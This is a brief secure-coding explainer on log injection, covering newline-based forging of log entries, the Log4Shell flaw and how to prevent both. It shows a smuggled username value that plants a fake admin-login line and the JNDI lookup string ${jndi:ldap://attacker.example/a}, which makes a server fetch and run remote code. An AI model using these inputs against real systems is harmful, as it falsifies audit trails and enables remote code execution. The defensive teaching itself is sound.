Log Injection
Log injection happens when an application writes untrusted input to its log files, letting an attacker add fake log entries or hide their tracks.
Log files are usually plain text, with one event per line. Suppose a login handler records each failure like this:
log.info(f"Failed login for user {username}")An attacker can submit a username that contains a line feed character (%0a in a URL), followed by
INFO Successful login for user admin. The log now contains a second line that looks exactly like a
genuine entry. Anyone investigating the logs later sees an administrator login that never happened,
and the attacker can use the same trick to bury their real activity under fake noise. If the logs
are viewed in a browser-based tool, injected HTML or JavaScript can also attack the people reading
them. (Log injection is a CRLF injection aimed at your audit trail.)
Logging untrusted input can go wrong in worse ways, too. In December 2021, the Log4Shell
vulnerability in the Java library Log4j meant that writing a string such as
${jndi:ldap://attacker.example/a} to a log could make the server download and run the attacker's
code.
To prevent log injection, encode or strip line breaks and other control characters from any input before you log it, or use structured logging (such as JSON lines), which escapes each field for you.